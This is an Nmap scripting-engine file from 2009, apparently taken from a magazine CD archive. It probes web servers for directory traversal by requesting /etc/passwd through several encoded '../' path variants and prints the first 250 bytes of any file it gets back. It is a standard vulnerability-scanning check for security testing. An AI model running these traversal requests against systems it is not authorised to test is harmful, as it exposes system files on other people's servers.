home *** CD-ROM | disk | FTP | other *** search
/ Hackers Magazine 57 / CdHackersMagazineNr57.iso / Software / Networking / nmap-5.00-setup.exe / scripts / http-passwd.nse < prev    next >
Text File  |  2009-07-06  |  3KB  |  99 lines

  1. description = [[
  2. Checks if a web server is vulnerable to directory traversal by attempting to
  3. retrieve <code>/etc/passwd</code> using various traversal methods such as
  4. requesting <code>../../../../etc/passwd</code>.
  5. ]]
  6.  
  7. -- 07/20/2007:
  8. --   * Used Thomas Buchanan's HTTPAuth script as a starting point
  9. --   * Applied some great suggestions from Brandon Enright, thanks a lot man!
  10. --
  11. -- 01/31/2008:
  12. --   * Rewritten to use Sven Klemm's excellent HTTP library and to do some much
  13. --     needed cleaning up
  14.  
  15. author = "Kris Katterjohn <katterjohn@gmail.com>"
  16.  
  17. license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
  18.  
  19. categories = {"intrusive", "vuln"}
  20.  
  21. require "shortport"
  22. require "http"
  23.  
  24. --- Validates the HTTP response code and checks for a <code>valid</code> passwd
  25. -- format in the body.
  26. --@param response The HTTP response from the server.
  27. --@return The body of the HTTP response.
  28. local validate = function(response)
  29.     if not response.status then
  30.         return nil
  31.     end
  32.  
  33.     if response.status ~= 200 then
  34.         return nil
  35.     end
  36.  
  37.     if not response.body:match("^[^:]+:[^:]*:[0-9]+:[0-9]+:") then
  38.         return nil
  39.     end
  40.  
  41.     return response.body
  42. end
  43.  
  44. --- Transforms a string with ".", "/" and "\" converted to their URL-formatted
  45. --- hex equivalents
  46. --@param str String to hexify.
  47. --@return Transformed string.
  48. local hexify = function(str)
  49.     local ret
  50.     ret = str:gsub("%.", "%%2E")
  51.     ret = ret:gsub("/", "%%2F")
  52.     ret = ret:gsub("\\", "%%5C")
  53.     return ret
  54. end
  55.  
  56. --- Truncates the <code>passwd</code> file.
  57. --@param passwd <code>passwd</code> file.
  58. --@return Truncated passwd file and truncated length.
  59. local truncatePasswd = function(passwd)
  60.     local len = 250
  61.     return passwd:sub(1, len), len
  62. end
  63.  
  64. --- Formats output.
  65. --@param passwd <code>passwd</code> file.
  66. --@param dir Formatted request which elicited the good reponse.
  67. --@return String description for output
  68. local output = function(passwd, dir)
  69.     local trunc, len = truncatePasswd(passwd)
  70.     local out = ""
  71.     out = out .. "Found with \"" .. dir .. "\"\n"
  72.     out = out .. "Printing first " .. len .. " bytes:\n"
  73.     out = out .. trunc
  74.     return out
  75. end
  76.  
  77. portrule = shortport.port_or_service({80, 443, 8080}, {"http", "https"})
  78.  
  79. action = function(host, port)
  80.     local dirs = {
  81.         "//etc/passwd",
  82.         string.rep("../", 10) .. "etc/passwd",
  83.         "." .. string.rep("../", 10) .. "etc/passwd",
  84.         string.rep("..\\/", 10) .. "etc\\/passwd",
  85.         string.rep("..\\", 10) .. "etc\\passwd"
  86.     }
  87.  
  88.     for _, dir in ipairs(dirs) do
  89.         local response = http.get(host, port, hexify(dir))
  90.  
  91.         if validate(response) then
  92.             return output(response.body, dir)
  93.         end
  94.     end
  95.  
  96.     return
  97. end
  98.  
  99.